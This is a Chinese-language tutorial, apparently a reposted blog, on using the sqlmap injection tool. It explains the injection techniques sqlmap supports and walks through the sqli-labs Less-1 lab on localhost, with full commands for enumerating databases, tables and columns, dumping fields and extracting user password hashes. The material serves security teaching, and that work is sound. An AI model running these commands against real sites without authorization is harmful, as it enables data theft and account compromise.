sqlmap

news2025/2/23 7:12:28

1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

    基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。

    基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

    基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

    联合查询注入:在可以使用Union的情况下的注入。

    堆查询注入:可以同时执行多条语句时的注入。

    带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

3.sqlmap基础使用

参数

 -- dbs                 显示所有数据库名称
 -D (数据库名)          选则数据库
 --tables               显示所有的表
 -T (表名)             选择表
 --columns              显示所有的字段
 -C (字段名)            选择字段
 --dump                 显示字段内容

1、判断是否存在注入

sqlmap.py -u url

(如果注入点后面的参数大于等于两个,需要加双引号)
2、判断文本中的请求是否存在注入

Sqlmap.py -r desktop/1.txt

一般在存在cookies注入的情况下使用

3、查询当前用户下的所有数据库

sqlmap.py -u url --dbs

确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。
4、获取数据库中的表名

sqlmap.py -u “url” -D dkeye(具体数据库) --tables

如果不加入-D来指定某一个数据库,那么会列出数据库中的所有的表。继续注入时缩写成—T,在某表中继续查询
5、获取表中的字段名

sqlmap.py -u “url” -D dkeye -T user_info(具体表名) --columns

查询完表名后,查询该表中的字段名,在后续的注入中,—columns缩写成-C
6、获取字段内容

sqlmap.py -u “url” -D dkeye -T user_info(具体表名) -C usrname password(具体字段) --dump

7、获取数据库所有用户

sqlmap.py -u url --users

列出数据库所有用户,如果当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
8、获取数据库用户的密码

sqlmap.py -u url --passwords

如果当前用户有读取包含用户密码的权限,sqlmap会先例举出用户,然后列出hash,并尝试破解。
9、获取当前网站数据库的名称

sqlmap.py -u url --curerent-db

使用该命令可以列出当前网站使用的数据库
10、获取当前网站数据库的用户名称

sqlmap.py -u url --current-user

使用该命令可以列出当前网站使用的数据库用户

4.操作

Less-1为例

1.判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

2.查看数据库名称

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

当继续注入时,--dbs缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。

 3.获取表名

列出了6个数据库名称,看到有一个 security的数据库,看看它有什么表。用 -D 选择数据库 security。再用 --tables 参数显示所有表名。

sqlmap.py -u http://127.0.0.1/sqlis/Less-1/?id=1 -D ctftraining --tables

当继续注入时,--tables缩写成-T,意思是在某表中继续查询

 4。获取字段名

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

 在后续的注入中,--columns缩写成-C

5.获取字段内容

 6.获取数据库的所有用户

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users

 7.获取数据库用户的密码:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --passwords

 密码使用了MySQL5加密,可在网站中自行解密(自带的解密很慢)。

 

8、获取当前网站数据库的名称:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db

使用该命令可以列出当前网站使用的数据库

 可以看到数据库是security。

9.获取当前网站数据库的用户名称:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user

使用该命令可以列出当前网站使用的数据库用户

用户是root。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/540799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Maven安装和配置(详细版)

Maven安装和配置 Maven安装1、安装链接:2、配置环境变量: Maven配置1、修改Maven仓库下载镜像及修改仓库位置:2、在Idea上配置Maven: 测试Maven安装能否安装jar包 Maven安装 1、安装链接: Maven – Download Apache …

使用A100 GPU搭建OBBDetection的运行环境

项目场景: 最近需要复现一篇目标检测论文的代码,文章提供了代码,因此自己根据仓库的说明尝试配置环境运行代码,但遇到了非常多的困难 问题描述 比较老的代码加上比较的GPU,导致了环境在配置的时候困难重重 OBBDetect…

xorm多表连接查询

SQL的连接查询可以将多个表的数据查询出来,形成一个中间表。在sql中为JOIN关键字。最常用的是LEFT JOIN,RIGHT JOIN,INNER JOIN,OUTER JOIN。 xorm框架是基于go语言的orm框架同样支持连接查询,由于xom及支持原生的sql查询也支持基于xorm的方法查询&…

openEuler用户软件仓(EUR)| 近期项目介绍

在操作系统的世界,软件包是一等公民,软件包的丰富程度和是否易于分发,一定程度上决定了操作系统用户和开发者的使用体验.。 EUR(openEuler User Repo)是openEuler社区针对开发者推出的个人软件包托管平台,目的在于为开发者提供一个…

【LeetCode训练营】用栈来实现队列+用队列来实现栈 详解

💯 博客内容:【LeetCode训练营】用栈来实现队列用队列来实现栈 详解 😀 作  者:陈大大陈 🚀 个人简介:一个正在努力学技术的准前端,专注基础和实战分享 ,欢迎私信! …

Requests-翻页请求实现

翻页请求实现 继https://blog.csdn.net/ssslq/article/details/130747686之后,本篇详述在获取了页面第一页之后,如何获取剩余页的标题内容。 网页:https://books.toscrape.com 找规律 同样还是进行页面的检查,切到网络一栏&…

MySQL查询——joininunion

MySql多表查询的几种方法 连接查询——join自连接查询子查询——🛠in合并查询——Union 认识MySQL数据库的多表查询,在对大量数据进行查询时仅仅使用一些基本的SQL语句已经无法满足我们日益增长的需求,如果要对多表进行查询就不得不认识以下几…

【计算机网络基础】测试2 物理层

文章目录 判断题选择题辨析题应用题 判断题 现在的无线局域网常用的频段是2.8GHz和5.4GHz。 多模光纤只适合于近距离传输。√ 数据在计算机内部多采用串行传输方式,但在通信线路上多采用并行传输方式。 统计时分复用可以按需动态分配时隙。√ 相对于同步时分复用…

安装Ubuntu系统

## ubuntu 22.04 环境处理(按顺序安装) 1. 搜索并打开“windows 功能”窗口 勾上图示的2项,点确定安装,可能要求重启电脑 2. windows store 中 安装ubuntu 22.04 wsl 一定要登录Microsoft Store 账号再操作 3.在ubuntu安装node.j…

以SpringMVC入门案例分析服务器初始化过程、单次请求流程

文章目录 1,SpringMVC概述2,SpringMVC入门案例2.1 需求分析2.2 案例制作步骤1:创建Maven项目步骤2:补全目录结构步骤3:导入jar包步骤4:创建配置类步骤5:创建Controller类步骤6:使用配置类替换web.xml步骤7:配置Tomcat环境步骤8:启动运行项目步骤9:浏览器…

RabbitMQ --- 死信交换机(一)

前言 当我们在使用消息队列时,难免会遇到一些消息被拒绝,重复投递或者超时等异常情况。这些异常消息如果不被正确处理,将会阻碍整个消息系统的正常运行。而此时,死信交换机(Dead Letter Exchange,简称DLX&…

【遇到dfs问题,点进来看看思路】【dfs本质之一 全排列思想解决大部分dfs】例题1.全排列 例题2.单词接龙

总之就是 在已知格线上,填充可用数据, 如果回退到A,那么把A之前所用数据,换一个,并且A之后的数据都重新填写 这就是全排列(截取的最关键部分,往下看) 这样的话,就是dfs的…

【节点边际电价】机组运行约束对机组节点边际电价的影响分析(Matlab代码实现)​

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

2023年美国大学生数学建模竞赛F题绿色GDP解题全过程文档及程序

2023年美国大学生数学建模竞赛 F题 绿色GDP 原题再现: 背景   国内生产总值(GDP)可以说是衡量-一个国家经济健康状况的最知名和最常用的指标之一。它通常被用于确定一个国家的购买力和获得贷款的机会,为国家提出促进其gdp的政策和项目提供动力。GDP衡…

Springboot +Flowable,流程表单应用之外置表单(HTML形式)(一)

一.简介 整体上来说,我们可以将Flowable 的表单分为三种不同的类型: 动态表单 这种表单定义方式我们可以配置表单中每一个字段的可读性、可写性、是否必填等信息,不过不能定义完整的表单页面。外置表单 外置表单我们只需要定义一下表单的 k…

国考省考行测:求基期量,去年的量,增长率r小于6%化除为乘,否则直接相除

国考省考行测:求基期量,去年的量 2022找工作是学历、能力和运气的超强结合体! 公务员特招重点就是专业技能,附带行测和申论,而常规国考省考最重要的还是申论和行测,所以大家认真准备吧,我讲一起屡屡申论和…

AIGC产业研究报告2023——三维生成篇

定义 人工智能三维生成是指利用深度神经网络学习并生成物体或场景的三维模型,并在三维模型的基础上将色彩与光影赋予物体或场景使生成结果更加逼真。在应用中,生成物体或场景的三维模型称为三维建模,生成三维模型的色彩与光影称为三维渲染。…

在博客逮到一个阿里8年测试开发,聊过之后我悟了....

老话说的好,这人呐,一旦在某个领域鲜有敌手了,就会闲得疋虫疼。前几天我在上班摸鱼刷社区的时候认识了一位腾讯测试开发大佬,在阿里工作了8年,因为本人天赋比较高,平时工作也兢兢业业,现在企业内…

异常检测相关论文记录

1、Unsupervised anomaly detection algorithms on real-world data: how many do we need?真实世界数据的无监督异常检测算法:我们需要多少? Abstract: 将所考虑的算法在所有数据集上的相对性能进行可视化和聚类,我们确定了两个…

10分钟轻松实现三菱FX3UPLC连接阿里云平台

MQTT协议网关串口连接三菱FX3UPLC操作说明v1.3 目录 一. 使用流程 二. 准备工作 2.1 需要准备如下物品 2.2 LF220网关准备工作 2.3 PLC准备工作 2.4 电脑的准备工作 2.5 MQTT服务器准备工作 三. 阿里云IoT平台配置步骤 3.1 创建产品 3.2 添加设备 3.3 配…